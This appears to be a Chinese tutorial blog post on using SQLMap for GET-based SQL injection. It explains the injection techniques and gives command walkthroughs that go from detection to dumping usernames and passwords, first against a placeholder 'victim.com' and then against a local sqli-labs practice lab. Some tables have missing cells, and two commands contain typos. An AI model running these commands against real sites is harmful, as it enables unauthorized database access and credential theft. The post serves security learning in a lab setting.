【 SQLMap】GET型注入
SQLMap 是什么?
SQLMap 是一款功能强大的开源渗透测试工具,专门用于自动化地检测和利用SQL注入漏洞。它的终极目标是帮助安全研究人员获取数据库服务器的权限,从而证明漏洞的危害性。
核心功能包括:
自动化检测:能够自动识别Web应用中的SQL注入点。
广泛数据库支持:支持市面上绝大多数数据库,如 MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access 等。
数据获取:成功利用注入漏洞后,可以提取数据库中的数据、表结构、甚至是哈希密码。
高级权限提升:在特定条件下,可以越权访问操作系统文件,或通过外带数据连接(Out-of-band)执行操作系统命令。
SQLMap支持的六种SQL注入技术
注入技术 | 原理与特点 |
---|---|
1. 基于布尔类型的盲注 (Boolean-based Blind) | 根据返回页面的内容差异(如某个关键词出现与否)来判断注入条件是否为真。例如,通过 |
2. 基于时间的盲注 (Time-based Blind) | 当页面返回内容无法提供任何信息时,通过注入延时函数(如 |
3. 基于报错注入 (Error-based) | 利用数据库的错误回显机制,故意构造注入语句引发数据库报错,并让错误信息中直接包含我们想要查询的数据。 |
4. 联合查询注入 (UNION) | 在可以执行多查询的情况下,使用 |
5. 堆查询注入 (Stacked Queries) | 在某些数据库(如Microsoft SQL Server)中,可以同时执行多条SQL语句(如 |
6. 带外注入 (Out-of-band) | 当无法通过同一信道回显数据时,构造SQL语句触发数据库发起一个到攻击者控制的外部服务器的网络连接(如DNS、HTTP请求),通过这个外带信道来传输窃取的数据。 |
SQLMap 核心命令解析
这些命令主要用于对发现的存在SQL注入漏洞的URL进行信息收集和数据提取。
1. 指定目标 (-u)
命令:
-u
功能:用于指定一个基于 GET请求方式 的注入点URL。这是最常用、最直接的参数。
sqlmap -u "http://example.com/page.php?id=1"
2. 数据库信息枚举
这些命令用于逐步获取数据库的结构信息。
命令 | 功能 | 说明 |
---|---|---|
| 获取所有数据库名 | 列出数据库管理系统(DBMS)中所有的数据库名称。这是信息收集的第一步。 |
| 获取所有表名 | 在指定数据库后,列出该库中所有的数据表名称。 |
| 获取所有字段名 | 在指定数据库和表后,列出该表中所有的列(字段)名称。 |
3. 数据提取 (--dump)
命令:
--dump
功能:提取并打印(下载)数据。这是攻击的最终目的之一。通常是在确定了库、表、字段后,使用此命令将目标数据(如用户信息、密码哈希等)导出到本地
4. 精确指定目标
当数据库中内容很多时,使用以下参数可以精确指定目标,提高效率。
命令 | 功能 | 示例 |
---|---|---|
| 指定要操作的数据库 |
|
| 指定要操作的数据表 |
|
| 指定要查询的字段 |
|
假设您发现了一个注入点 http://victim.com/news.php?id=1
,您可以按照以下流程使用SQLMap:
探测注入点并获取数据库名:
sqlmap -u "http://victim.com/news.php?id=1" --dbs
输出可能会显示有
['mysql', 'information_schema', 'webapp']
等数据库。指定目标数据库,获取其所有表名:
sqlmap -u "http://victim.com/news.php?id=1" -D webapp --tables
输出可能会显示
['users', 'products', 'logs']
等表指定目标表,获取其所有字段名:
sqlmap -u "http://victim.com/news.php?id=1" -D webapp -T users --columns
输出会显示
['id', 'username', 'password', 'email']
等字段。最终,提取敏感数据:
sqlmap -u "http://victim.com/news.php?id=1" -D webapp -T users -C username,password --dump
实战--进入sql-labs靶场,打开sqlmap,判断是否存在注入:
假设目标注入点是 `http://127.0.0.1/sqli-labs/Less-1/?id=1`,判断其是否存在注入的命令如下:
sqlmap.py -u http://127.0.0.1/sq/Less-1/?id=1
当注入点后面的参数大于等于两个时,需要加双引号,如下所示。
sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1&uid=2"
运行完判断是否存在注入的语句后,爆出一大段代码,这里有三处需要选择的地方:第一处的意思为检测到数据库可能是MySQL,是否需要跳过检测其他数据库;第二处的意思是在“level1、risk1”的情况下,是否使用MySQL对应的所有Payload进行检测;第三处的意思是参数 `id`存在漏洞,是否要继续检测其他参数,一般默认按回车键即可。
获取所有数据库名:
sqlmap.py -u "http://localhost/sql/Less-1/?id=1" --dbs
指定数据库,获取其中所有表名
sqlmap.py -u "http://localhost/sql/Less-1/?id=1" -D security--tables
指定数据表,获取表中的数据,例如指定表 users
sqlmap.py -u "http://localhost/sql/Less-1/?id=1" -D security -T users --dump
还可以打印,例如打印“username”
sqlmap.py -u "http://localhost/sql/Less-1/?id=1" -D security -T users -C "username" --dump
声明:本篇内容基于网络安全知识体系,所学用途皆不可用于法律之外的攻击与入侵。感谢大家的观看,小编呆呆羊在这里与大家共同学习共同成长。